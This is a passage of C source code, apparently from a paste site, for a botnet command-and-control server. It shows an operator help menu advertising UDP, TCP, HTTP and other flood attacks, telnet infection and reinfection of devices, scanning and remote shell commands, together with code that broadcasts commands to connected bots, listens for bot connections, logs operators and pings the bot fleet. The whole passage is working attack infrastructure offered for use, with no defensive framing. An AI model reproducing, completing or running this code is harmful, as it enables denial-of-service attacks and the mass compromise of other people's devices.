  676. }/*OTHER COMMANDS*/
  677. if(strstr(buf, "HELP"))
  678. {
  679. pthread_create(&title, NULL, &TitleWriter, sock);
  680. char helpline1 [80];
  681. char helpline2 [80];
  682. char helpline3 [80];
  683. char helpline4 [80];
  684. char helpline5 [80];
  685. char helpline6 [80];
  686. char helpline7 [80];
  687. char helpline8 [80];
  688. char helpline9 [80];
  689. char helpline10 [80];
  690. char helpline11 [80];
  691. char helpline12 [80];
  692. char helpline13 [80];
  693. char helpline14 [80];
  694. char helpline15 [80];
  695. char helpline16 [80];
  696. char helpline17 [80];
  697. char helpline18 [80];
  698. char helpline19 [80];
  699. char helpline20 [80];
  700. char helpline21 [80];
  701. char helpline22 [80];
  702. char helpline23 [80];
  703. char helpline24 [80];
  704. char helpline25 [80];
  705. char helpline26 [80];
  706.  
  707.  
  708.  
  709. sprintf(helpline1, "\r\n~ ATTACK COMMANDS ~\r\n");
  710. sprintf(helpline2, "\e[1;37m☯ \e[0;31mUDP - \e[1;32m!* UDP IP Port Time 32 0 10\r\n");
  711. sprintf(helpline3, "\e[1;37m☢ \e[0;31mTCP - \e[1;32m!* TCP IP Port Time 32 all 0 10\r\n");
  712. sprintf(helpline4, "\e[1;37m∞ \e[0;31mSTD - \e[1;32m!* STD IP Port Time\r\n");
  713. sprintf(helpline5, "\e[1;37m฿ \e[0;31mJUNK - \e[1;32m!* JUNK IP Port Time\r\n");
  714. sprintf(helpline6, "\e[1;37m¤ \e[0;31mHOLD - \e[1;32m!* HOLD IP Port Time\r\n");
  715. sprintf(helpline7, "\e[1;37m☻ \e[0;31mHTTP - \e[1;32m!* HTTP Url Time\r\n");
  716. sprintf(helpline8, "\e[1;37mᚏ \e[0;31mKILL - \e[1;32m!* KILLATTK | KILL\r\n");
  717.  
  718. sprintf(helpline9, "\e[1;36m~ \e[1;32mSCANNING COMMANDS \e[1;36m~\r\n");
  719. sprintf(helpline10, "\e[1;32mΘ LOAD \e[1;32m- LOAD\r\n");
  720. sprintf(helpline11, "\e[1;32m~ SCAN \e[1;32m- \e[0;32mSCAN1 \e[0;31m| \e[1;37mSCAN2 \e[0;31m| \e[1;37mSCAN3 \e[0;31m| \e[1;37mSCAN4 \e[0;31m| \e[1;37mSCAN5\r\n");
  721. sprintf(helpline12, "\e[1;32m~ SCAN \e[1;32m- \e[0;32mSCAN6 \e[0;31m| \e[1;37mSCAN7 \e[0;31m| \e[1;37mSCAN8 \e[0;31m| \e[1;37mSCAN9 \e[0;31m| \e[1;37mSCAN10\r\n");
  722. sprintf(helpline13, "\e[1;32m~ LUCKY \e[1;32m- \e[0;32mLUCKY \e[0;31m| LUCKY2\r\n");
  723. sprintf(helpline14, "\e[0;31m[X] STOP \e[1;32m- \e[0;32mSCAN_OFF\r\n");
  724.  
  725. sprintf(helpline15, "~ GENERAL COMMANDS ~\r\n");
  726. sprintf(helpline16, "\e[1;36m[\e[1;37mᚏ\e[1;36m] \e[1;32mSHELL - \e[1;37m!* SH\r\n");
  727. sprintf(helpline17, "\e[1;36m[\e[1;37m฿\e[1;36m] \e[1;32mBOTS - \e[1;37m!* BOTS | BOTS\r\n");
  728. sprintf(helpline18, "\e[1;36m[\e[1;37m☯\e[1;36m] \e[1;32mSTATUS - \e[1;37m!* STATUS | STATUS\r\n");
  729. sprintf(helpline19, "\e[1;36m[\e[1;37m☯\e[1;36m] \e[1;32mSTATS - \e[1;37mSTATS\r\n");
  730.  
  731. sprintf(helpline20, "~ MISC COMMANDS ~\r\n");
  732. sprintf(helpline21, "\e[0;31m☭ ATTACK \e[1;32mGUI - \e[0;31mATTACK");
  733. sprintf(helpline22, "\e[1;37m✓ \e[0;31mINECTION \e[0;31mFILTER - FILTER\r\n");
  734. sprintf(helpline23, "\e[1;37m☎ \e[0;32mTELNET INFECT - \e[0;31mINFECT\r\n");
  735. sprintf(helpline24, "\e[1;37m⭍ \e[0;37mREINFECT \e[0;31mBOTS - \e[0;37mREINFECT\r\n");
  736. sprintf(helpline25, "\e[1;36m[\e[1;37mX\e[1;36m] CLEARSCREEN - \e[0;37mCLEAR\r\n");
  737. sprintf(helpline26, "\e[1;37m⭙ LOGOUT - \e[1;31mLOGOUT\r\n");
  738.  
  739.  
  740.  
  741. if(send(datafd, helpline1, strlen(helpline1), MSG_NOSIGNAL) == -1) goto end;
  742. if(send(datafd, helpline2, strlen(helpline2), MSG_NOSIGNAL) == -1) goto end;
  743. if(send(datafd, helpline3, strlen(helpline3), MSG_NOSIGNAL) == -1) goto end;
  744. if(send(datafd, helpline4, strlen(helpline4), MSG_NOSIGNAL) == -1) goto end;
  745. if(send(datafd, helpline5, strlen(helpline5), MSG_NOSIGNAL) == -1) goto end;
  746. if(send(datafd, helpline6, strlen(helpline6), MSG_NOSIGNAL) == -1) goto end;
  747. if(send(datafd, helpline7, strlen(helpline7), MSG_NOSIGNAL) == -1) goto end;
  748. if(send(datafd, helpline8, strlen(helpline8), MSG_NOSIGNAL) == -1) goto end;
  749. if(send(datafd, helpline9, strlen(helpline9), MSG_NOSIGNAL) == -1) goto end;
  750. if(send(datafd, helpline10, strlen(helpline10), MSG_NOSIGNAL) == -1) goto end;
  751. if(send(datafd, helpline11, strlen(helpline11), MSG_NOSIGNAL) == -1) goto end;
  752. if(send(datafd, helpline12, strlen(helpline12), MSG_NOSIGNAL) == -1) goto end;
  753. if(send(datafd, helpline13, strlen(helpline13), MSG_NOSIGNAL) == -1) goto end;
  754. if(send(datafd, helpline14, strlen(helpline14), MSG_NOSIGNAL) == -1) goto end;
  755. if(send(datafd, helpline15, strlen(helpline15), MSG_NOSIGNAL) == -1) goto end;
  756. if(send(datafd, helpline16, strlen(helpline16), MSG_NOSIGNAL) == -1) goto end;
  757. if(send(datafd, helpline17, strlen(helpline17), MSG_NOSIGNAL) == -1) goto end;
  758. if(send(datafd, helpline18, strlen(helpline18), MSG_NOSIGNAL) == -1) goto end;
  759. if(send(datafd, helpline19, strlen(helpline19), MSG_NOSIGNAL) == -1) goto end;
  760. if(send(datafd, helpline20, strlen(helpline20), MSG_NOSIGNAL) == -1) goto end;
  761. if(send(datafd, helpline21, strlen(helpline21), MSG_NOSIGNAL) == -1) goto end;
  762. if(send(datafd, helpline22, strlen(helpline22), MSG_NOSIGNAL) == -1) goto end;
  763. if(send(datafd, helpline23, strlen(helpline23), MSG_NOSIGNAL) == -1) goto end;
  764. if(send(datafd, helpline24, strlen(helpline24), MSG_NOSIGNAL) == -1) goto end;
  765. if(send(datafd, helpline25, strlen(helpline25), MSG_NOSIGNAL) == -1) goto end;
  766. if(send(datafd, helpline26, strlen(helpline26), MSG_NOSIGNAL) == -1) goto end;
  767. pthread_create(&title, NULL, &TitleWriter, sock);
  768. continue;
  769. }
  770. if(strstr(buf, "KILL"))
  771. {
  772. char killattack [2048];
  773. memset(killattack, 0, 2048);
  774. char killattack_msg [2048];
  775.  
  776. sprintf(killattack, "!* KILLATTK\r\n");
  777. broadcast(killattack, datafd, "KILL THAT SHIT");
  778. if(send(datafd, killattack, strlen(killattack), MSG_NOSIGNAL) == -1) goto end;
  779.  
  780. sprintf(killattack_msg, "Attack Killed!\r\n");
  781. if(send(datafd, killattack_msg, strlen(killattack_msg), MSG_NOSIGNAL) == -1) goto end;
  782. continue;
  783. }
  784. if(strstr(buf, "CLEAR"))
  785. {
  786. char clearscreen [2048];
  787. memset(clearscreen, 0, 2048);
  788. sprintf(clearscreen, "\033[2J\033[1;1H");
  789. if(send(datafd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  790. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  791. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  792. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  793. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  794. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  795. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  796. if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  797. if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  798. if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  799. if(send(datafd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  800. if(send(datafd, ascii_banner_line11, strlen(ascii_banner_line11), MSG_NOSIGNAL) == -1) goto end;
  801. if(send(datafd, ascii_banner_line12, strlen(ascii_banner_line12), MSG_NOSIGNAL) == -1) goto end;
  802. if(send(datafd, ascii_banner_line13, strlen(ascii_banner_line13), MSG_NOSIGNAL) == -1) goto end;
  803. if(send(datafd, ascii_banner_line14, strlen(ascii_banner_line14), MSG_NOSIGNAL) == -1) goto end;
  804. if(send(datafd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end;
  805. while(1) {
  806. if(send(datafd, banner_bot_count, strlen(banner_bot_count), MSG_NOSIGNAL) == -1) goto end;
  807. if(send(datafd, "\x1b[32m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  808. break;
  809. }
  810. continue;
  811. }
  812. if(strstr(buf, "LOGOUT"))
  813. {
  814. char logoutmessage [2048];
  815. memset(logoutmessage, 0, 2048);
  816. sprintf(logoutmessage, "Bye, %s", accounts[find_line].username);
  817. if(send(datafd, logoutmessage, strlen(logoutmessage), MSG_NOSIGNAL) == -1)goto end;
  818. sleep(5);
  819. goto end;
  820. }
  821. trim(buf);
  822. if(send(datafd, "\x1b[31m> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end;
  823. if(strlen(buf) == 0) continue;
  824. printf("%s: \"%s\"\n",accounts[find_line].username, buf);
  825.  
  826. FILE *LogFile;
  827. LogFile = fopen("server_log.txt", "a");
  828. time_t now;
  829. struct tm *gmt;
  830. char formatted_gmt [50];
  831. char lcltime[50];
  832. now = time(NULL);
  833. gmt = gmtime(&now);
  834. strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
  835. fprintf(LogFile, "[%s] %s: %s\n", formatted_gmt, accounts[find_line].username, buf);
  836. fclose(LogFile);
  837. broadcast(buf, datafd, accounts[find_line].username);
  838. memset(buf, 0, 2048);
  839. }
  840. end:
  841. managements[datafd].connected = 0;
  842. close(datafd);
  843. OperatorsConnected--;
  844. }
  845. void *BotListener(int port) {
  846. int sockfd, newsockfd;
  847. socklen_t clilen;
  848. struct sockaddr_in serv_addr, cli_addr;
  849. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  850. if (sockfd < 0) perror("ERROR opening socket");
  851. bzero((char *) &serv_addr, sizeof(serv_addr));
  852. serv_addr.sin_family = AF_INET;
  853. serv_addr.sin_addr.s_addr = INADDR_ANY;
  854. serv_addr.sin_port = htons(port);
  855. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  856. listen(sockfd,5);
  857. clilen = sizeof(cli_addr);
  858. while(1) {
  859. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  860. if (newsockfd < 0) perror("ERROR on accept");
  861. pthread_t thread;
  862. pthread_create( &thread, NULL, &BotWorker, (void *)newsockfd);
  863. }}
  864. int main (int argc, char *argv[], void *sock)//~B1NARY~
  865. {
  866. signal(SIGPIPE, SIG_IGN);
  867. int s, threads, port;
  868. struct epoll_event event;
  869. if (argc != 4) {
  870. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  871. exit (EXIT_FAILURE);
  872. }
  873. port = atoi(argv[3]);
  874. telFD = fopen("telnet.txt", "a+");
  875. threads = atoi(argv[2]);
  876. listenFD = create_and_bind (argv[1]);
  877. if (listenFD == -1) abort ();
  878. s = make_socket_non_blocking (listenFD);
  879. if (s == -1) abort ();
  880. s = listen (listenFD, SOMAXCONN);
  881. if (s == -1) {
  882. perror ("listen");
  883. abort ();
  884. }
  885. epollFD = epoll_create1 (0);
  886. if (epollFD == -1) {
  887. perror ("epoll_create");
  888. abort ();
  889. }
  890. event.data.fd = listenFD;
  891. event.events = EPOLLIN | EPOLLET;
  892. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  893. if (s == -1) {
  894. perror ("epoll_ctl");
  895. abort ();
  896. }
  897. pthread_t thread[threads + 2];
  898. while(threads--) {
  899. pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL);
  900. }
  901. pthread_create(&thread[0], NULL, &BotListener, port);
  902. while(1) {
  903. broadcast("PING", -1, "LEL");
  904. sleep(60);
  905. }
  906. close (listenFD);
  907. return EXIT_SUCCESS;
  908. }
Add Comment
Please, Sign In to add comment